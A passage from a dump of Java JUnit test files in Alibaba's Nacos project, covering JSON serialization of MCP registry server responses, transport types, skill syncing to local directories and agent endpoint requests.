    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeServerResponseBasic() throws JsonProcessingException {\n        ServerResponse response = new ServerResponse();\n        \n        McpRegistryServerDetail server = new McpRegistryServerDetail();\n        server.setName(\"TestServer\");\n        server.setDescription(\"Test Server Description\");\n        server.setVersion(\"1.0.0\");\n        response.setServer(server);\n        \n        OfficialMeta official = new OfficialMeta();\n        official.setPublishedAt(\"2025-01-01T00:00:00Z\");\n        official.setUpdatedAt(\"2025-01-15T00:00:00Z\");\n        official.setIsLatest(true);\n        official.setStatus(\"active\");\n        \n        ServerResponse.Meta meta = new ServerResponse.Meta();\n        meta.setOfficial(official);\n        response.setMeta(meta);\n        \n        String json = mapper.writeValueAsString(response);\n        \n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"server\\\":{\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"TestServer\\\"\"));\n        assertTrue(json.contains(\"\\\"_meta\\\":{\"));\n        assertTrue(json.contains(\"\\\"io.modelcontextprotocol.registry/official\\\":{\"));\n        assertTrue(json.contains(\"\\\"publishedAt\\\":\\\"2025-01-01T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"active\\\"\"));\n    }\n    \n    @Test\n    void testDeserializeServerResponseBasic() throws JsonProcessingException {\n        String json = \"{\\\"server\\\":{\\\"name\\\":\\\"TestServer\\\",\\\"version\\\":\\\"1.0.0\\\"},\"\n                + \"\\\"_meta\\\":{\\\"io.modelcontextprotocol.registry/official\\\":\"\n                + \"{\\\"publishedAt\\\":\\\"2025-01-01T00:00:00Z\\\",\\\"isLatest\\\":true}}}\";\n        \n        ServerResponse response = mapper.readValue(json, ServerResponse.class);\n        \n        assertNotNull(response);\n        assertNotNull(response.getServer());\n        assertEquals(\"TestServer\", response.getServer().getName());\n        assertEquals(\"1.0.0\", response.getServer().getVersion());\n        assertNotNull(response.getMeta());\n        assertNotNull(response.getMeta().getOfficial());\n        assertEquals(\"2025-01-01T00:00:00Z\", response.getMeta().getOfficial().getPublishedAt());\n        assertEquals(true, response.getMeta().getOfficial().getIsLatest());\n    }\n    \n    @Test\n    void testServerResponseWithMetadataExtensions() throws JsonProcessingException {\n        Map<String, Object> extensionData = new HashMap<>();\n        extensionData.put(\"customField\", \"customValue\");\n        extensionData.put(\"metadata\", new HashMap<String, Object>() {\n            {\n                put(\"key1\", \"value1\");\n            }\n        });\n        \n        String json = \"{\\\"server\\\":{\\\"name\\\":\\\"ExtendedServer\\\"},\"\n                + \"\\\"_meta\\\":{\"\n                + \"\\\"io.modelcontextprotocol.registry/official\\\":{\\\"publishedAt\\\":\\\"2025-01-01T00:00:00Z\\\"},\"\n                + \"\\\"customExtension\\\":\\\"extensionValue\\\"}}\";\n        \n        ServerResponse response = mapper.readValue(json, ServerResponse.class);\n        \n        assertNotNull(response);\n        assertNotNull(response.getServer());\n        assertEquals(\"ExtendedServer\", response.getServer().getName());\n        assertNotNull(response.getMeta());\n    }\n    \n    @Test\n    void testServerResponseMinimal() throws JsonProcessingException {\n        ServerResponse response = new ServerResponse();\n        McpRegistryServerDetail server = new McpRegistryServerDetail();\n        server.setName(\"MinimalServer\");\n        response.setServer(server);\n        \n        String json = mapper.writeValueAsString(response);\n        \n        assertTrue(json.contains(\"\\\"server\\\":{\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"MinimalServer\\\"\"));\n    }\n    \n    @Test\n    void testServerResponseMetaNullSafe() throws JsonProcessingException {\n        ServerResponse response = new ServerResponse();\n        McpRegistryServerDetail server = new McpRegistryServerDetail();\n        server.setName(\"TestServer\");\n        response.setServer(server);\n        // Meta is not set - should handle null gracefully\n        \n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"server\\\":{\"));\n    }\n    \n    @Test\n    void testServerResponseMetaOfficialNested() throws JsonProcessingException {\n        String json = \"{\"\n                + \"\\\"server\\\":{\\\"name\\\":\\\"NestedServer\\\"},\"\n                + \"\\\"_meta\\\":{\"\n                + \"\\\"io.modelcontextprotocol.registry/official\\\":{\"\n                + \"\\\"publishedAt\\\":\\\"2025-01-01T00:00:00Z\\\",\"\n                + \"\\\"updatedAt\\\":\\\"2025-01-15T00:00:00Z\\\",\"\n                + \"\\\"isLatest\\\":true,\"\n                + \"\\\"status\\\":\\\"active\\\"}}}\";\n        \n        ServerResponse response = mapper.readValue(json, ServerResponse.class);\n        \n        assertEquals(\"NestedServer\", response.getServer().getName());\n        assertEquals(\"2025-01-01T00:00:00Z\", response.getMeta().getOfficial().getPublishedAt());\n        assertEquals(\"2025-01-15T00:00:00Z\", response.getMeta().getOfficial().getUpdatedAt());\n        assertEquals(true, response.getMeta().getOfficial().getIsLatest());\n        assertEquals(\"active\", response.getMeta().getOfficial().getStatus());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/ServerVersionDetailTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerVersionDetailTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ServerVersionDetail serverVersionDetail = new ServerVersionDetail();\n        serverVersionDetail.setVersion(\"1.0.0\");\n        serverVersionDetail.setRelease_date(\"2022-01-01T00:00:00Z\");\n        serverVersionDetail.setIs_latest(true);\n        \n        String json = mapper.writeValueAsString(serverVersionDetail);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"release_date\\\":\\\"2022-01-01T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"is_latest\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"version\\\":\\\"1.0.0\\\",\\\"release_date\\\":\\\"2022-01-01T00:00:00Z\\\",\\\"is_latest\\\":true}\";\n        \n        ServerVersionDetail serverVersionDetail = mapper.readValue(json, ServerVersionDetail.class);\n        assertNotNull(serverVersionDetail);\n        assertEquals(\"1.0.0\", serverVersionDetail.getVersion());\n        assertEquals(\"2022-01-01T00:00:00Z\", serverVersionDetail.getRelease_date());\n        assertEquals(true, serverVersionDetail.getIs_latest());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/TransportTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass TransportTest extends BasicRequestTest {\n    \n    @Test\n    void testStdioTransportSerialize() throws JsonProcessingException {\n        StdioTransport transport = new StdioTransport();\n        String json = mapper.writeValueAsString(transport);\n        \n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"stdio\\\"\"));\n    }\n    \n    @Test\n    void testStdioTransportDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"stdio\\\"}\";\n        StdioTransport transport = mapper.readValue(json, StdioTransport.class);\n        \n        assertNotNull(transport);\n        assertEquals(\"stdio\", transport.getType());\n    }\n    \n    @Test\n    void testStreamableHttpTransportSerialize() throws JsonProcessingException {\n        StreamableHttpTransport transport = new StreamableHttpTransport();\n        transport.setUrl(\"http://localhost:8080/api\");\n        \n        KeyValueInput header1 = new KeyValueInput();\n        header1.setName(\"Authorization\");\n        header1.setValue(\"Bearer token123\");\n        \n        KeyValueInput header2 = new KeyValueInput();\n        header2.setName(\"Content-Type\");\n        header2.setValue(\"application/json\");\n        \n        transport.setHeaders(Arrays.asList(header1, header2));\n        \n        String json = mapper.writeValueAsString(transport);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"streamable-http\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"http://localhost:8080/api\\\"\"));\n        assertTrue(json.contains(\"\\\"headers\\\":[\"));\n        assertTrue(json.contains(\"\\\"Authorization\\\"\"));\n    }\n    \n    @Test\n    void testStreamableHttpTransportDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"streamable-http\\\",\\\"url\\\":\\\"http://localhost:8080/api\\\",\"\n                + \"\\\"headers\\\":[{\\\"name\\\":\\\"Authorization\\\",\\\"value\\\":\\\"Bearer token123\\\"}]}\";\n        StreamableHttpTransport transport = mapper.readValue(json, StreamableHttpTransport.class);\n        \n        assertNotNull(transport);\n        assertEquals(\"streamable-http\", transport.getType());\n        assertEquals(\"http://localhost:8080/api\", transport.getUrl());\n        assertNotNull(transport.getHeaders());\n        assertEquals(1, transport.getHeaders().size());\n        assertEquals(\"Authorization\", transport.getHeaders().get(0).getName());\n    }\n    \n    @Test\n    void testSseTransportSerialize() throws JsonProcessingException {\n        SseTransport transport = new SseTransport();\n        transport.setUrl(\"https://example.com/sse\");\n        \n        KeyValueInput header = new KeyValueInput();\n        header.setName(\"Accept\");\n        header.setValue(\"text/event-stream\");\n        transport.setHeaders(Arrays.asList(header));\n        \n        String json = mapper.writeValueAsString(transport);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"sse\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"https://example.com/sse\\\"\"));\n    }\n    \n    @Test\n    void testSseTransportDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"sse\\\",\\\"url\\\":\\\"https://example.com/sse\\\"}\";\n        SseTransport transport = mapper.readValue(json, SseTransport.class);\n        \n        assertNotNull(transport);\n        assertEquals(\"sse\", transport.getType());\n        assertEquals(\"https://example.com/sse\", transport.getUrl());\n    }\n    \n    @Test\n    void testTransportTypeDetection() throws JsonProcessingException {\n        // Test polymorphic deserialization with @JsonTypeInfo\n        String stdioJson = \"{\\\"type\\\":\\\"stdio\\\"}\";\n        String httpJson = \"{\\\"type\\\":\\\"streamable-http\\\",\\\"url\\\":\\\"http://localhost:8080\\\"}\";\n        String sseJson = \"{\\\"type\\\":\\\"sse\\\",\\\"url\\\":\\\"https://example.com\\\"}\";\n        \n        StdioTransport stdio = mapper.readValue(stdioJson, StdioTransport.class);\n        StreamableHttpTransport http = mapper.readValue(httpJson, StreamableHttpTransport.class);\n        SseTransport sse = mapper.readValue(sseJson, SseTransport.class);\n        \n        assertEquals(\"stdio\", stdio.getType());\n        assertEquals(\"streamable-http\", http.getType());\n        assertEquals(\"sse\", sse.getType());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/skills/SkillUtilsTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.skills;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.io.TempDir;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Test for SkillUtils.\n *\n * @author nacos\n */\nclass SkillUtilsTest {\n    \n    @TempDir\n    Path tempDir;\n    \n    @Test\n    void testToMarkdownWithValidSkill() {\n        // Given\n        Skill skill = createValidSkill();\n        \n        // When\n        String markdown = SkillUtils.toMarkdown(skill);\n        \n        // Then\n        assertNotNull(markdown);\n        assertTrue(markdown.contains(\"name: test-skill\"));\n        assertTrue(markdown.contains(\"description: Test description\"));\n        assertTrue(markdown.contains(\"Test instruction\"));\n    }\n    \n    @Test\n    void testToMarkdownWithNullSkill() {\n        // When\n        String markdown = SkillUtils.toMarkdown(null);\n        \n        // Then\n        assertEquals(\"\", markdown);\n    }\n    \n    @Test\n    void testToMarkdownWithSpecialCharacters() {\n        // Given\n        Skill skill = createValidSkill();\n        skill.setDescription(\"Description with: colon and \\\"quotes\\\"\");\n        \n        // When\n        String markdown = SkillUtils.toMarkdown(skill);\n        \n        // Then\n        assertNotNull(markdown);\n        assertTrue(markdown.contains(\"\\\"Description with: colon\"));\n    }\n    \n    @Test\n    void testSyncToLocalWithOverwriteStrategy() throws IOException {\n        // Given\n        Skill skill = createValidSkill();\n        Path baseDir = tempDir.resolve(\"skills\");\n        Files.createDirectories(baseDir);\n        \n        // When\n        SkillUtils.syncToLocal(skill, baseDir.toString());\n        \n        // Then\n        Path skillDir = baseDir.resolve(skill.getName());\n        assertTrue(Files.exists(skillDir));\n        assertTrue(Files.exists(skillDir.resolve(\"SKILL.md\")));\n    }\n    \n    @Test\n    void testSyncToLocalWithBackupStrategy() throws IOException {\n        // Given\n        Skill skill = createValidSkill();\n        Path baseDir = tempDir.resolve(\"skills\");\n        Files.createDirectories(baseDir);\n        Path skillDir = baseDir.resolve(skill.getName());\n        Files.createDirectories(skillDir);\n        \n        // When\n        SkillUtils.syncToLocal(skill, baseDir.toString(),\n                SkillUtils.ExistingDirectoryStrategy.BACKUP);\n        \n        // Then\n        assertTrue(Files.exists(skillDir));\n        assertTrue(Files.exists(skillDir.resolve(\"SKILL.md\")));\n    }\n    \n    @Test\n    void testSyncToLocalWithFailStrategy() throws IOException {\n        // Given\n        Skill skill = createValidSkill();\n        Path baseDir = tempDir.resolve(\"skills\");\n        Files.createDirectories(baseDir);\n        Path skillDir = baseDir.resolve(skill.getName());\n        Files.createDirectories(skillDir);\n        \n        // When & Then\n        assertThrows(java.nio.file.FileAlreadyExistsException.class,\n                () -> SkillUtils.syncToLocal(skill, baseDir.toString(),\n                        SkillUtils.ExistingDirectoryStrategy.FAIL));\n    }\n    \n    @Test\n    void testSyncToLocalWithResources() throws IOException {\n        // Given\n        Skill skill = createValidSkillWithResources();\n        Path baseDir = tempDir.resolve(\"skills\");\n        Files.createDirectories(baseDir);\n        \n        // When\n        SkillUtils.syncToLocal(skill, baseDir.toString());\n        \n        // Then\n        Path skillDir = baseDir.resolve(skill.getName());\n        assertTrue(Files.exists(skillDir));\n        assertTrue(Files.exists(skillDir.resolve(\"SKILL.md\")));\n        assertTrue(Files.exists(skillDir.resolve(\"script\").resolve(\"test.sh\")));\n    }\n    \n    @Test\n    void testSyncToLocalWithCustomDirName() throws IOException {\n        // Given\n        Skill skill = createValidSkill();\n        Path baseDir = tempDir.resolve(\"skills\");\n        Files.createDirectories(baseDir);\n        \n        // When\n        SkillUtils.syncToLocal(skill, baseDir.toString(), \"custom-dir\");\n        \n        // Then\n        Path skillDir = baseDir.resolve(\"custom-dir\");\n        assertTrue(Files.exists(skillDir));\n        assertTrue(Files.exists(skillDir.resolve(\"SKILL.md\")));\n    }\n    \n    @Test\n    void testSyncToLocalWithNullSkill() {\n        // When & Then\n        assertThrows(IllegalArgumentException.class,\n                () -> SkillUtils.syncToLocal(null, tempDir.toString()));\n    }\n    \n    @Test\n    void testSyncToLocalWithBlankSkillName() {\n        // Given\n        Skill skill = new Skill();\n        skill.setName(\"\");\n        \n        // When & Then\n        assertThrows(IllegalArgumentException.class,\n                () -> SkillUtils.syncToLocal(skill, tempDir.toString()));\n    }\n    \n    @Test\n    void testSyncToLocalWithBlankBaseDir() {\n        // Given\n        Skill skill = createValidSkill();\n        \n        // When & Then\n        assertThrows(IllegalArgumentException.class,\n                () -> SkillUtils.syncToLocal(skill, \"\"));\n    }\n    \n    /**\n     * Create a valid skill for testing.\n     */\n    private Skill createValidSkill() {\n        Skill skill = new Skill();\n        skill.setName(\"test-skill\");\n        skill.setDescription(\"Test description\");\n        skill.setInstruction(\"Test instruction\");\n        return skill;\n    }\n    \n    /**\n     * Create a skill with resources for testing.\n     */\n    private Skill createValidSkillWithResources() {\n        Skill skill = createValidSkill();\n        Map<String, SkillResource> resources = new HashMap<>();\n        SkillResource resource = new SkillResource();\n        resource.setName(\"test.sh\");\n        resource.setType(\"script\");\n        resource.setContent(\"#!/bin/bash\\necho 'test'\");\n        resources.put(\"test\", resource);\n        skill.setResource(resources);\n        return skill;\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/AbstractAgentRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AbstractAgentRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        TestAbstractAgentRequest request = new TestAbstractAgentRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setAgentName(\"testAgent\");\n        \n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"agentName\\\":\\\"testAgent\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"ai\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"agentName\\\":\\\"testAgent\\\",\\\"module\\\":\\\"ai\\\"}\";\n        TestAbstractAgentRequest result = mapper.readValue(json, TestAbstractAgentRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testAgent\", result.getAgentName());\n        assertEquals(Constants.AI.AI_MODULE, result.getModule());\n    }\n    \n    /**\n     * Test implementation of AbstractAgentRequest.\n     */\n    public static class TestAbstractAgentRequest extends AbstractAgentRequest {\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/AgentEndpointRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentEndpointRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setAgentName(\"testAgent\");\n        \n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8848);\n        endpoint.setVersion(\"1.0.0\");\n        request.setEndpoint(endpoint);\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        \n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"agentName\\\":\\\"testAgent\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"registerEndpoint\\\"\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8848\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"agentName\\\":\\\"testAgent\\\",\"\n                + \"\\\"endpoint\\\":{\\\"transport\\\":\\\"JSONRPC\\\",\\\"address\\\":\\\"127.0.0.1\\\",\\\"port\\\":8848,\\\"path\\\":\\\"\\\",\"\n                + \"\\\"supportTls\\\":false,\\\"version\\\":\\\"1.0.0\\\"},\\\"type\\\":\\\"registerEndpoint\\\",\\\"module\\\":\\\"ai\\\"}\";\n        AgentEndpointRequest result = mapper.readValue(json, AgentEndpointRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testAgent\", result.getAgentName());\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, result.getType());\n        \n        AgentEndpoint endpoint = result.getEndpoint();\n        assertNotNull(endpoint);\n        assertEquals(\"127.0.0.1\", endpoint.getAddress());\n        assertEquals(8848, endpoint.getPort());\n        assertEquals(\"1.0.0\", endpoint.getVersion());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/BatchAgentEndpointRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass BatchAgentEndpointRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setAgentName(\"testAgent\");\n        \n        Collection<AgentEndpoint> endpoints = Arrays.asList(createTestEndpoint1(), createTestEndpoint2());\n        request.setEndpoints(endpoints);\n        \n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"agentName\\\":\\\"testAgent\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"batchRegisterEndpoint\\\"\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8848\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"192.168.1.100\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":9090\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"agentName\\\":\\\"testAgent\\\",\"\n                + \"\\\"endpoints\\\":[{\\\"transport\\\":\\\"JSONRPC\\\",\\\"address\\\":\\\"127.0.0.1\\\",\\\"port\\\":8848,\\\"path\\\":\\\"\\\",\"\n                + \"\\\"supportTls\\\":false,\\\"version\\\":\\\"1.0.0\\\"},{\\\"transport\\\":\\\"GRPC\\\",\\\"address\\\":\\\"192.168.1.100\\\",\"\n                + \"\\\"port\\\":9090,\\\"path\\\":\\\"\\\",\\\"supportTls\\\":true,\\\"version\\\":\\\"2.0.0\\\"}],\"\n                + \"\\\"type\\\":\\\"batchRegisterEndpoint\\\",\\\"module\\\":\\\"ai\\\"}\";\n        BatchAgentEndpointRequest result = mapper.readValue(json, BatchAgentEndpointRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testAgent\", result.getAgentName());\n        assertEquals(AiRemoteConstants.BATCH_REGISTER_ENDPOINT, result.getType());\n        \n        Collection<AgentEndpoint> endpoints = result.getEndpoints();\n        assertNotNull(endpoints);\n        assertEquals(2, endpoints.size());\n        \n        Object[] endpointArray = endpoints.toArray();\n        AgentEndpoint endpoint1 = (AgentEndpoint) endpointArray[0];\n        assertEquals(\"127.0.0.1\", endpoint1.getAddress());\n        assertEquals(8848, endpoint1.getPort());\n        assertEquals(\"1.0.0\", endpoint1.getVersion());\n        \n        AgentEndpoint endpoint2 = (AgentEndpoint) endpointArray[1];\n        assertEquals(\"192.168.1.100\", endpoint2.getAddress());\n        assertEquals(9090, endpoint2.getPort());\n        assertEquals(\"2.0.0\", endpoint2.getVersion());\n    }\n    \n    @Test\n    void testGetType() {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        